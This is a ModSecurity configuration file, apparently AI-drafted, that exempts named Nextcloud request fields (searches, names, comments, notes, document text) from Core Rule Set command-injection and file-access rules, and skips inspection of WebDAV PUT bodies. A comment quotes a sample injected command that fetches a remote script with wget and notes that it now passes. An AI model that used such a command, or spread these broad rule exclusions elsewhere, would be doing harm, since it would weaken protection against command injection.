check / check (push) Failing after 3m40s
Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
250 lines
14 KiB
Plaintext
250 lines
14 KiB
Plaintext
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
|
# a document's text. Each exclusion runs with the request, before the rules it
|
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
|
# applies only when the query has no parameter of that name, so it matters only
|
|
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
|
|
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
|
# serves them.
|
|
#
|
|
# Four rules read a search or a name as a command or a system file:
|
|
# 930120: .htaccess
|
|
# 932120: powershell
|
|
# 932250: ls -la
|
|
# 932260: python3
|
|
# Each exclusion below removes these four from its fields.
|
|
#
|
|
# A comment, a share's note and an account's status hold sentences a person
|
|
# writes. Four more rules refused ordinary sentences there:
|
|
# 932125: It is fixed; diff attached
|
|
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
|
# 932235: We need more time; find the old notes first
|
|
# 932380: Tested on Windows; powershell works
|
|
# The text of a document holds such sentences too, and code blocks. Two more
|
|
# rules refused a shell script in a code block:
|
|
# 932160: #!/bin/bash
|
|
# 932370: ```bash, which starts the code block
|
|
# These fields skip the rules that refused them. So a shell command such as
|
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
|
# injection, path traversal and script injection are still refused there.
|
|
|
|
# The sync client and the Files app use these WebDAV methods besides those
|
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
|
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
|
# MKCOL: making a folder, and starting a chunked upload
|
|
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
|
# REPORT: listing favourites and comments
|
|
# SEARCH: the Files app's search
|
|
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900100,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
|
|
|
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
|
# which every request sends, on every path. Each request of the account
|
|
# python3 was refused.
|
|
SecAction "id:900101,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
|
|
|
# Signing in, in the query or the body:
|
|
# user, password: user=python3&password=Example-pass-python3
|
|
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
"id:900102,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
|
|
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
|
"id:900103,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
|
|
|
# The file names on a public share's page. A preview names its file in file:
|
|
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
|
"id:900104,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
|
|
|
# A download names its folder in path and its files in files:
|
|
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
|
"id:900105,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
|
|
|
# The OCS API's searches and names, in the query, a form data body or a JSON
|
|
# body:
|
|
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
|
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
|
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
|
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
|
# account python3, displayName=Ls+-la+Example
|
|
# groups[], or groups in JSON: the groups of a new account,
|
|
# groups[]=Python3+admins
|
|
# value: changing an account's name, address or headline, value=Powershell+Lane
|
|
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
|
# label "python3 link"
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900106,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900107,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
|
|
|
# A share's note, in the query, a form data body or a JSON body, on a new
|
|
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900108,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900109,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.note "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
|
|
|
# An account's status, in the query, a form data body or a JSON body:
|
|
# {"message":"Tested on Windows; powershell works"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900110,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900111,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
# The name and slogan in the theming admin settings, in the JSON field value:
|
|
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
|
"id:900112,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.value "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
|
|
|
# The Text editor saves a document, such as a folder's Readme.md, with its
|
|
# path in the JSON field filePath and its text in autosaveContent. The text
|
|
# skips the rules for sentences and code blocks too.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
|
"id:900113,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
|
|
|
# A comment on a file, in the JSON field message of a new comment, and in the
|
|
# XML body of an edited one. It skips the rules for sentences too. An edited
|
|
# comment's XML holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
|
"id:900114,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
|
"id:900115,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932380;XML:/*"
|
|
|
|
# The Files app's search sends its words in the XML body of a SEARCH request,
|
|
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
|
"id:900116,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq SEARCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|
"id:900117,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
|
|
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
|
# paths is a file, not form data. Read as fields, a JSON file holding
|
|
# "python3 -m pytest" was refused (932260), and an XML file holding
|
|
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
|
# RAW, a kind of body sww does not read. Its headers, path and query are
|
|
# still checked.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900118,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|